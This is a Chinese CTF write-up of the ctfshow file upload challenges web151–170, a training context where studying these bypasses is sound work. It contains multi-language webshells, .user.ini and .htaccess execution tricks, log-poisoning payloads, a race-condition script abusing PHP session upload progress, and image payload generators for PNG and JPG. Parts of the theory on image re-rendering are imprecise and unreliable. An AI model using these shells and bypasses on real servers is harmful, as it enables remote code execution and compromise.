CTF show 文件上传篇(web151-170,看这一篇就够啦)

目录

一.前言

二.文件上传(web151-170)

1.web151(前端绕过)

1.1 编写一句话木马

1.2.寻找突破点

1.3.webshell连接

1.4 利用条件

2.web152(MIME头绕过)

2.1 知识点

2.2 绕过限制

2.3 利用条件

3.web153(.user.ini绕过)

3.1 知识点

 3.2 绕过限制

3.3 利用条件

4. web154(短标签绕过)

4.1 知识点

 4.2 绕过限制

4.3 利用条件

5. web155(同web154)

6. web156(php关键字和[]绕过)

6.1 知识点

6.2 绕过限制

7.web157(php关键字、[]、{}绕过)

7.1 知识点

 7.2 绕过限制

 8. web158(同web157)

9. web159(php关键字、[]、{}、;、()绕过)

9.1 知识点

9.2 绕过限制

10. web160(日志绕过)

11. web161(GIF89a绕过)

12. web162(条件竞争)

12.1 知识点

12.2 绕过限制

13. web163(条件竞争)

14. web164(png二次渲染操纵 IDAT 块)

14.1 知识点

 14.2 题目实践

15. web165(jpg二次渲染)

15.1 知识点

 15.2 题目实践

16. web166(zip注入)

17. web167(.htaccess文件利用)

17.1 知识点

17.2 题目实践

18. web168(基础免杀 关键词绕过)

19. web169(user.ini的条件利用)

19.1 知识点

19.2 题目实践

web 170(user.ini的条件利用)

三.尾声


一.前言

本文章为本人ctf刷题过程中的一些简单记录,当然我也会尽量详细的写下我的解题思路,以及我对部分知识点的理解,本人也处在学习过程中,欢迎各位大佬与我一起讨论学习,感谢支持^_^

二.文件上传(web151-170)

如果前几关需要来看wp的人,大概率是刚入门的同学,所以前几关我会尽量写的详细,以供新同学入门,后面我就会只写过关思路了。

1.web151(前端绕过)

1.1 编写一句话木马

首先我们先来编写一个一句话木马

<?php @eval($_POST['shell']); ?>

这是一个php版本的一句话木马,值得注意的是,根据后端开发语言的不同,编写的一句话木马也不同,这里我提供几个其他语言的一句话木马,如果想要深入了解,就需要自己去搜索相关资料了 。

ASP

<%eval request("cmd")%>

JSP

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

Python (常见于Django, Flask等)

import os
os.system(request.form['cmd'])

C#(常见于ASP.NET)

<% System.Diagnostics.Process.Start(Request["cmd"]); %>

1.2.寻找突破点

看到题目

a4ef0cc9fa2446d6988f5c4150014e22.png

提示我们”前端校验不可靠“,一般在ctf中,出题者多半会在页面或其他地方给到提示,给我们提供思路

本题便是使用前端校验的方式,检验我们上传的文件是否合格,我们可以通过检查前端代码发现限制我们的js代码

ae85124b3b8145ae80c3dd90473baffc.png

这里我提供两种方式来进行绕过

(1)修改JavaScript代码

我们将文件上传的后缀名限制修改为php

6f6eb43b199a415f94bb13fed59b6e44.png

此时限制我们的js代码便不起作用了,我们便可以绕过进行上传了

a41f80eb77a04e03ac8aba524694ad38.png

发现上传成功后,我们可以先访问一下这个文件,如果是空白页面,而非404大概率就是上传成功了

e57f46df8abe4b8e8a50c2a0f981bb81.png

(2)bp抓包绕过 

我们首先将文件名修改为符合要求的png

aba1ca6b20ec4c2c9e590b3e8aece997.png

然后在上传的时候通过bp抓包修改后缀名

60e93d9812ef47aca068ff2a54110b96.png

1.3.webshell连接

如果测试连接是返回{"code":"UNABLE_TO_VERIFY_LEAF_SIGNATURE"}错误,应该是证书的问题

250cec28039543c9aed754796c082ca1.png

我们将https改为http,便可以成功连接了

568071d07d1d49c8bbc4c65b253f3575.png

在上级目录成功找的flag

084b555464824e0b8951f65cc8a36cce.png

d1cc7467032f4bd2b7966bb21605eaa0.png

1.4 利用条件

仅依靠前端校验

2.web152(MIME头绕过)

2.1 知识点

Content-Type 是 HTTP 协议中的一个头字段,用于指示发送给接收方的数据的媒体类型(也称为MIME类型)

常见的 Content-Type

  1. 文本类型:

    • text/html: HTML 文档。
    • text/plain: 纯文本。
    • text/css: CSS 样式表。
    • text/javascript: JavaScript 文件。
  2. 应用类型:

    • application/json: JSON 数据格式。
    • application/xml: XML 数据格式。
    • application/x-www-form-urlencoded: 表单数据,以键值对方式编码,通常用于 POST 请求。
    • multipart/form-data: 表单数据,通常用于文件上传时。
  3. 图片类型:

    • image/jpeg: JPEG 图像。
    • image/png: PNG 图像。
    • image/gif: GIF 图像。
  4. 音频/视频类型:

    • audio/mpeg: MP3 音频。
    • video/mp4: MP4 视频。

2.2 绕过限制

这一关与上一关的不同之处便是多了个 Content-Type ,所以我们单靠修改前端代码是无法绕过的

我们依旧将木马文件修改成合规的文件名

上传,抓包

ff0e4906798c40ee8402b04b01ad6459.png 这里除了建议文件后缀,还对文件的MIME类型进行校验,我们不用将其修改为合规的文件MIME类型即可,修改MIME类型不会对我们的文件有影响

4427ccae552f40d79a64dd80611cdfca.png

蚁剑连接即可

113402a57b784aa180f3eb4cd0972877.png

2.3 利用条件

仅依靠 Content-Type进行校验

3.web153(.user.ini绕过)

3.1 知识点

.user.ini的作用

1.配置 PHP 设置:用户可以通过 .user.ini 文件来设置特定目录和子目录下的 PHP 配置。这些设置会覆盖全局 php.ini 的相应配置。

2.特定目录的配置:与 .htaccess 文件类似,.user.ini 文件允许特定目录的细粒度配置,而不会影响整个服务器的设置。

 利用 .user.ini 绕过限制

由于 .user.ini 文件可以覆盖某些 PHP 配置,它也可能被恶意利用来绕过服务器管理员设置的限制,以下是一些可能的方式:

  1. 文件上传限制

            如果服务器全局设置了较低的文件上传大小限制,恶意用户可以通过 .user.ini 文件增加 upload_max_filesizepost_max_size,来上传更大的文件。
  2. 脚本执行时间
             恶意用户可能会增加 max_execution_time 以避免脚本执行超时,从而进行更长时间的恶意活动,如暴力破解等。
  3. 内存限制
              增加 memory_limit 可以帮助恶意脚本在执行时获取更多的服务器资源,可能导致拒绝服务攻击(DoS)。
  4. PHP 文件包含漏洞
               auto_prepend_file在 PHP 中,当用户访问.user.ini所在目录主页文件时,auto_prepend_file所指向的文件内容,会自动进行包含,将文件内容当作php代码执行

 3.2 绕过限制

首先我们编写一个".user.ini"文件

auto_prepend_file=shell.png

这串内容的意思就是,在访问主页文件时,会自动包含shell.png文件,将其文件内容当在php代码执行

先将".user.ini"上传至目标靶机

上传的时候发现".user.ini"不符合上传规范,我们依旧是给他增加一个合法的后缀名,再利用burp修改即可

4dcb8d6eb18b47149be3bab96e09a880.png

ea1d2d35c8e148908e0b23231012e54b.png

之后我们再将包含我们一句话木马的shell.png上传至目标靶机

06da0416a23c4b0c9f5b6c1d84d86c7b.png

值得注意的的是,我们并不能完全肯定upload目录下的主页文件是哪个,所以我们可以直接访问upload目录

5c10848fabde49e3b1ffb8fdc0ab1114.png

明显可以看到,我在shell.png写的内容也出现了

接下来使用蚁剑连接即可

注意注意!!!!!!连接的地址是https://ae1b1446-fbe2-4179-90ac-3315ca849c79.challenge.ctf.show/upload/

不要跟上shell.png这个文件名!!!!!!!!!!

94198f636c254564a4d4a0c01306d058.png

拿下

e016df7569924aae99ebd1f65e0dfc54.png

3.3 利用条件

  • 权限问题:上传后的文件是否有执行权限。
  • 路径问题:确保.user.inishell.php都在同一目录或者正确的路径。
  • 环境限制:目标服务器是否允许.user.ini覆盖配置。
  • 安全机制:允许.user.ini文件,对于上传的图片马无条件接收,并没有检验内容和文件头。

4. web154(短标签绕过)

4.1 知识点

php部分标签写法

<?php @eval($_POST['cmd']); ?>            //正常写法
<?=@eval($_POST['cmd']); ?>                //短标签,适合过滤php
<% @eval($_POST['cmd']); %>                //asp风格
<script language='php'>@eval($_POST['cmd']);</script>            //<script>风格,适合过滤<?

 4.2 绕过限制

和上一题几乎一样,不过本题过滤了php这个关键字

我们利用短标签绕过即可

依旧是上传“.user.ini”文件

44a239d9fc3c4ea0a09172c5bfc0df1f.png

再将我们的shell.png文件上传

将一句话木马换成短标签的样式

c03490ab65cf4c4cb7d96035bbc781d6.png

蚁剑连接即可

471d64d9a7874512a3c6103a7ad1fd75.png

4.3 利用条件

允许.user.ini文件,对于上传的图片马验证不严格,并没有彻底检验文件内容

5. web155(同web154)

没看出和web154有啥区别,再次不再做赘述,按照web154方法即可通过

6. web156(php关键字和[]绕过)

6.1 知识点

php中,[]可以使用{}进行替换

6.2 绕过限制

和之前不同的地方在于多了个“[]”过滤

我们可以使用“{}”进行绕过,和“[]”效果是一样的

依旧是先上传.user.ini文件

728c94a3929542c5a0d4b25fac24eb64.png

在上传一句话木马

a1ad7bc016f541d78e4385f9890d6962.png

蚁剑连接即可

24ba3c8b676a4c5d877729c766764348.png

7.web157(php关键字、[]、{}绕过)

7.1 知识点

Linux中通配符作用

1. 星号(*)

星号用于匹配任意数量的字符(包括零个字符)。

示例:

  • ls *.txt:列出当前目录下所有扩展名为.txt的文件。
  • cp /home/user/*.jpg /home/user/photos/:将/home/user/目录下所有扩展名为.jpg的文件复制到/home/user/photos/目录。
  • rm report*:删除当前目录下所有以report开头的文件。

2. 问号(?)

问号用于匹配单个字符。

示例:

  • ls file?.txt:列出当前目录下所有文件名格式为fileX.txt的文件,其中X可以是任意单个字符。
  • mv data??.csv backup/:将当前目录下所有文件名格式为dataXX.csv的文件移动到backup/目录,其中XX可以是任意两个字符。

3. 方括号([])

方括号用于匹配方括号内的任意一个字符。

示例:

  • ls [abc].txt:列出当前目录下所有文件名为a.txtb.txtc.txt的文件。
  • rm file[1-9].txt:删除当前目录下所有文件名格式为fileX.txt的文件,其中X可以是1到9之间的任意一个数字。

4. 大括号({})

大括号用于匹配大括号内的任意一个模式。

示例:

  • cp {file1,file2,file3}.txt backup/:将当前目录下文件名为file1.txtfile2.txtfile3.txt的文件复制到backup/目录。
  • mv {*.jpg,*.png} images/:将当前目录下所有扩展名为.jpg.png的文件移动到images/目录。

5. 感叹号(!)

感叹号用于在方括号内表示排除某个字符。

示例:

  • ls [!abc].txt:列出当前目录下所有文件名不是a.txtb.txtc.txt的文件。
  • rm file[!1-9].txt:删除当前目录下所有文件名格式为fileX.txt的文件,其中X不是1到9之间的任意一个数字。

 7.2 绕过限制

除上一题过滤的之外,{}也被过滤了

这里可以考虑使用system函数直接执行命令获取flag

依旧是先上传.user.ini文件,这里我偷个懒就不贴图了

再上传木马文件,可以先利用ls命令慢慢找flag

f678ac22d42b411ba293bd5c22cbb28f.png

访问/upload/index.php查看命令执行的效果

c5b23c3057b5470da52a918a15c38ec7.png

flag不在这里,继续往上一级目录寻找

34856d6576f84efab612e6b970536e6a.png

e3b6f0e682a844e0acfa23439b4372ff.png 找到flag了,利用cat命令进行读取,因为php被过滤,我们可以利用通配符来进行模糊匹配

52790c258bdb4a95b5ef6a46ea1caea7.png

9dd0791d5b3e4e318d4cbb74be167aa0.png

查看源代码即可找到flag

75e32f562d10471dbe0a31f70c479e7c.png

 8. web158(同web157)

和web157相同,不再多赘述

9. web159(php关键字、[]、{}、;、()绕过)

9.1 知识点

PHP命令执行函数

1. exec()

exec()执行一个外部程序,并返回最后一行输出的结果。

2. system()

system()执行一个外部程序,并输出结果。返回命令的最后一行输出。

3. shell_exec()

shell_exec()执行一个命令,并返回完整的输出。

4. passthru()

passthru()执行一个命令,并直接输出结果到标准输出(通常是浏览器)。它与system()类似,但不会返回命令的输出。

5. popen()

popen()打开一个管道到一个进程,允许读取或写入进程的标准输入/输出。

6. proc_open()

proc_open()可以启动一个进程,并更多地控制其输入和输出。

7. ``

PHP 也支持用反引号(``)包围命令的方式来执行命令,这是与shell中类似的语法。

9.2 绕过限制

依旧上传.user.ini文件,不过system函数被过滤我们使用``进行绕过

1408f2b9d2034da2a7dbe87f6a3d0838.png

访问/upload/index.php 查看源代码,即可获取flag

a5938460c8374677bc32e4acfcf83c97.png

10. web160(日志绕过)

这里反撇号也被过滤了,考虑用日志包含进行绕过

依旧是先上传.user.ini文件

shell.png的内容如下

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

这段代码包含并输出 /var/log/nginx/access.log 文件的内容。由于包含的是一个日志文件,它的内容会直接作为PHP代码执行。

  • 其中/var/log/nginx/access.log到底为nginx的日志文件。
  • 因为log被过滤,所以使用  进行拼接字符串,从而实现绕过

 a6dac5d79c944f5ab9b6cb925b1566e5.png

上传之后,观察日志文件

7624070205704bd5af4841e81122df95.png

发现日志文件会记录我们的UA头,我们可以将恶意代码放入UA头中来获取flag

b923f63de6924017a93795f9d3c25add.png

成功获取flag

412b73a8c5f24496a7f5ac6b34daadbd.png

11. web161(GIF89a绕过)

与web160相同,只不过在文件头添加GIF89a即可成功上传

f443bed67daf4cd6aa0175d2dd842314.png

12. web162(条件竞争)

12.1 知识点

条件竞争是什么

简单解释一下

在文件上传中,假设存在如下流程:

  1. 上传文件后立即保存到服务器。
  2. 上传成功后进行文件格式的校验。
  3. 如果文件格式符合要求,则重命名该文件。
  4. 如果文件格式不符合要求,则删除该文件。

由于服务器在处理多个并发请求时,可能会出现以下几种情况:

  1. 访问时间点在文件上传之前

    • 此时,文件尚未上传到服务器,任何对该文件的访问请求将返回“文件不存在”。
  2. 访问时间点在文件上传成功后,但服务器尚未完成校验及处理

    • 在此时间窗口内,文件已经存在于服务器上,但尚未经过格式校验。任何对该文件的访问请求将会找到文件,但由于文件格式尚未验证,可能存在安全隐患。
  3. 访问时间点在服务器删除文件之后

    • 如果文件格式不符合要求,服务器会删除该文件。此时,任何对该文件的访问请求将返回“文件不存在”。

所以,当我们上传的速度比服务器删除的速度快,我们就可以读取到我们的木马文件

12.2 绕过限制

上传.user.ini

GIF89a
auto_append_file=/tmp/sess_zho

zho可以随缘改,和后面脚本中的sess中的内容相一致即可 

8df2ee9c9abd47ceaed4694d44a31b90.png

接下来使用脚本

import requests
import threading
import re

# 创建一个会话对象,保持会话的状态
session = requests.session()

# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'zho'

# 目标URL
url1 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/"
url2 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/upload"

# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'  # 使用system函数执行命令
}

# 要上传的文件数据
file = {
    'file': '111'  # 文件名可以随意设置
}

# 设置会话cookie
cookies = {
    'PHPSESSID': sess  # 上传过程中使用固定的PHPSESSID
}

# 定义上传文件的函数,持续发送POST请求
def upload_file():
    while True:
        session.post(url1, data=data1, files=file, cookies=cookies)

# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():
    while True:
        response = session.get(url2)  # 访问目标URL,检查是否能获取到flag
        if 'flag' in response.text:  # 检查返回内容中是否包含flag
            # 正则匹配flag,格式为ctfshow{}
            flag = re.search(r'ctfshow{.+}', response.text)
            if flag:
                print(flag.group())  # 如果找到flag,打印它

# 创建两个线程,一个上传文件,一个检查flag
threads = [
    threading.Thread(target=upload_file),
    threading.Thread(target=check_flag)
]

# 启动所有线程
for t in threads:
    t.start()

a4794b9bd8dd4f968c23d9f1dc332794.png

搞定

13. web163(条件竞争)

和web162一样

14. web164(png二次渲染操纵 IDAT 块)

png二次渲染这里挺难的,我在这卡了好几天,我会尽我所能,尽量把这个点说清楚,如有错误,请及时告知本人,感谢

14.1 知识点

14.1.1 二次渲染漏洞原理

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。。将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

14.1.2 png二次渲染漏洞原理

(1)PNG文件格式结构

PNG(Portable Network Graphics)是一种无损压缩的图像格式,其文件结构是以块(chunk)为单位来组织的。每个块都有特定的功能,标准的 PNG 文件由以下关键块组成:

  • IHDR(Image Header):图像头部块,定义图像的基本属性(如宽度、高度、颜色深度等)。
  • IDAT(Image Data):图像数据块,包含实际的图像像素信息。
  • IEND(Image End):图像结束块,表示图像文件的结束。
  • 其他可选的块,如 tEXt(用于存储文本注释),pHYs(存储图像物理维度),以及 PLTE(调色板)等。

在正常情况下,PNG 文件必须符合一定的标准和格式要求,否则大多数 PNG 解析器会拒绝加载或渲染该文件。也就是说,我们想要手工插入恶意代码且不损坏图像文件,几乎不可能

(2)二次渲染漏洞的产生原因 

  • 不同解析器的兼容性差异:不同的软件、浏览器或操作系统中的 PNG 解析库对图像的解析方式有所不同。例如,某些解析器可能对格式不规范的 PNG 文件宽容处理,而其他解析器则会严格遵循规范。当同一个 PNG 文件被不同软件解析时,可能会出现不同的渲染结果。

  • 损坏文件的不同处理方式:一些 PNG 文件可能在结构上经过故意破坏(例如块顺序异常、块大小不一致或非法数据填充)。某些解析器会忽略这些问题继续渲染图像,而其他解析器可能会按照不同的规则处理,甚至放弃渲染。这种处理方式的差异可能导致同一个文件在不同环境下显示不同的图像内容。

  • 利用非法块或多义性:PNG 文件中可能包含多义性块,或者包含了无效数据的块。不同的解析器在处理这些数据时可能会采取不同的操作路径。例如,一个图像头块 (IHDR) 的错误定义可能会导致某些解析器按错误的格式渲染图像,而其他解析器可能能识别并校正错误。

(3)PNG 二次渲染漏洞的典型利用方式 

(1)篡改块内容或顺序: 攻击者可能会故意改变 PNG 文件中的块内容或块顺序,使得不同的解析器呈现不同的结果。比如:

  • 在一个浏览器中,图像可能被正常显示;
  • 而在另一个浏览器中,图像可能显示错误或者带有恶意内容(例如广告或攻击性内容)。

这种情况可能涉及块中的元数据或图像数据的篡改,造成渲染差异。

(2)损坏的图像数据: 通过损坏或操纵 IDAT 块(图像数据块),攻击者可以在某些情况下影响图像的解压和显示效果。例如,PNG 图像的图像数据采用的是 zlib 压缩算法,不同的解压库可能对损坏数据的容忍度不同,导致渲染效果不同。

(3)颜色管理和透明度问题: PNG 支持丰富的颜色深度和透明度通道。有时,通过故意操纵颜色通道数据(如 alpha 通道),攻击者可以使得某些渲染器显示不同的透明度效果。例如:

  • 在某些浏览器中,图像可能会显示为透明;
  • 在其他浏览器中,图像则可能不透明,甚至显示出攻击者隐藏的恶意图像。

(4)文本注释块(tEXt)滥用: 某些 PNG 文件可能包含文本注释块 (tEXt),这些注释通常包含元数据,但如果这些数据被故意操控,可能会在某些解析器中触发不同的行为(如展示错误或乱码)。此外,一些文本注释块可以包含恶意内容,如脚本注入,导致跨站脚本攻击(XSS)。

 14.2 题目实践

这里有国外大牛写的一个脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

这个脚本便是通过操纵 IDAT 块(图像数据块)将恶意代码插入了其中

运行这个脚本后,将生成的图片木马上传

当我们按照木马执行命令时,发现并没有回显文件目录

a00ee827e0f14bc59de2795cc355bb58.png

这个时候我们需要给请求头增加Content-Type: application/x-www-form-urlencoded这个字段

其作用如下

Content-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。

 添加这个请求头成功获取flag

3a01e03cb32141e8acc8c312b1f98bc6.png

15. web165(jpg二次渲染)

15.1 知识点

15.1.1 jpg图像文件结构

一个典型的JPG文件由多个段组成,每个段都有特定的标识符和数据。常见的段包括:

  • SOI(Start of Image):图像开始标志
  • APPn(Application segments):应用程序自定义数据段
  • DQT(Define Quantization Table):量化表定义
  • DHT(Define Huffman Table):哈夫曼表定义
  • SOS(Start of Scan):扫描开始标志
  • EOI(End of Image):图像结束标志

15.1.2 jpg图片第一次解析和渲染

当一个JPG文件被加载时,图像解析器会读取文件并将其内容转换为内存中的数据结构。解析器会逐段解析文件,并根据段内的指令和数据生成对应的图像。

  • 解析头部信息:读取SOI和EOI标志,确定文件的边界。
  • 解析数据段:逐个解析APPn、DQT、DHT、SOS等段,解码图像数据并渲染。

15.1.3 二次渲染漏洞的产生

  • 修改APPn段:在第一次解析时,攻击者通过APPn段嵌入恶意数据,使解析器在后续处理时触发漏洞。
  • 伪造数据段:攻击者修改DQT或DHT段,使得在二次渲染时解析器崩溃或执行恶意代码。

 15.2 题目实践

同样是国外大牛的脚本

<?php
    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
    Sergey Bobrov @Black2Fan.
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
    */
		
    $miniPayload = "<?=eval(\$_POST[1]);?>"; //注意$转义
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
 
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

我们先将一个正常的jpg图片上传到服务器中,让他先进行一次渲染

974da94f1f9c456b960ac5f8cd38798a.png

上传成功后,将图片下载到本地,注意另存为图片时,去upload下直接查看这个图片进行下载,不然下载下来不是jpg格式

a7893a0eff364cf3a810ba726b7b83c1.png

将脚本和下载下来的图片放到同一目录执行如下命令

php 脚本文件 图片文件

如果提示

php-gd is not installed

执行如下命令

sudo apt update
sudo apt install php-gd 

如果在执行 sudo apt install php-gd 提示网络不可达,需要重新更换国内源,因为篇幅问题,这里我不做配置,出现这个问题的同学,自行百度解决吧

04733bc7a4714e25a8cf2e31c18fb0bc.png

出现success就代表执行成功了,同级目录下一般会出现payload_原图片名.jpg文件

7e7607d28d74427ab72450c07ffa6f2b.png

我们将生成的图片马再次上传到服务器

我们可以再次下载这张图片,查看恶意代码是否成功注入

49d98d1b97644be1bbede7a9e56e5668.png

查看flag即可

d2c39ff976b9453989da16d8723a1d46.png

这里值得注意的是,并不是所有的jpg图片都可以成功,如果不行可以多试几张

16. web166(zip注入)

这一关应该是没有难点,随便搞一个zip的压缩包,将恶意代码注入到压缩包里即可

260da9dbcf0f482293b7d1341f69afb9.png

点击下载文件,使用burp抓包,执行命令即可

f5147fb9cef04806b5033c75d79fd5ad.png

420e9ae624924e5a9b9c1828f77cf415.png

17. web167(.htaccess文件利用)

17.1 知识点

.htaccess简介

.htaccess被称为超文本入口,此文件有多个功能,其中一个功能可以改变文件扩展名,同时也可以实现文件夹密码保护、用户自动重定向、自定义错误页面等功能。

17.2 题目实践

首先我们编写 .htaccess文件

<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这个大概意思是shell.jpg会被当做php文件执行

接下来我们在shell.jpg文件中插入我们的恶意代码

55469b9d7ba74ff395efa0b2d21bb7f6.png

然后把.htaccess文件上传至目标服务器,这里也可以随便传一个文件,然后将文件名和内容改成.htaccess文件,效果是一样的

17d68e5f5d29498eabc797b97fe65131.png

然后上传jpg木马文件

d6d561860d914a0ebe05691011ae6153.png

点击下载文件,利用恶意代码即可,依旧注意连接地址为http,使用https可能会失败

582c0b87ef3b4476a11f12e5607d251c.png

4df9c56d02ad43ad880a22ee8d899d2b.png

18. web168(基础免杀 关键词绕过)

首先做一个简单的模糊测试

c4f2da6a32434f13b1cb95f31eab1214.png

测试后发现``反引号并没有过滤,我们就可以利用反引号进行命令执行

d5cd0162e64d4879821be3cf486d5cda.png

成功上传,查看结果

b640291ae1f544eca856913f3424e3cf.png

查看flag即可

80c838d6bb6a4b4d9b5b034b104bbaa1.png

885f312f7c964f31b3c03f4519d5af3c.png

这里我一直没注意到还有flagaa.php,卡了半天,flag在flagaa.php文件中

b0dfb815928f442399674783749137ec.png

19. web169(user.ini的条件利用)

19.1 知识点

user.ini的利用条件

.user.ini生效的前提是访问本文件夹内的php文件,它才能起到配置作用
也就是说,.user.ini的同级目录中必须存在php文件才能进行利用

19.2 题目实践

首先,这里我发现一个很有趣的点,前端限制只能上传zip文件

但是mime类型又限制只能上传png文件,很有趣

我们这里先上传一个随便啥都行的php文件上去,再上传.user.ini文件包含日志

在上传.user.ini文件

auto_prepend_file=/var/log/nginx/access.log

然后访问 /upload/你上传php文件

并且在UA头中写入php代码

仔细查看dream.php文件,可以看到ls命令执行成功了

cat读取flagaa.php文件

查看网页源代码,成功读取flag

web 170(user.ini的条件利用)

与上一题基本一样

依旧先上传.user.ini文件

然后随便传一个php文件

然后访问这个php文件,并且在UA头中注入恶意代码,这里我就直接读flagaa了

搞定

三.尾声

落笔至此,ctfshow的文件上传系列终于告一段落了,非常感谢各位同学能看到这里,如果在文章中发现了什么错误,或者有什么独特的思路,欢迎评论或私信我,网安路上,咱们共同进步!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值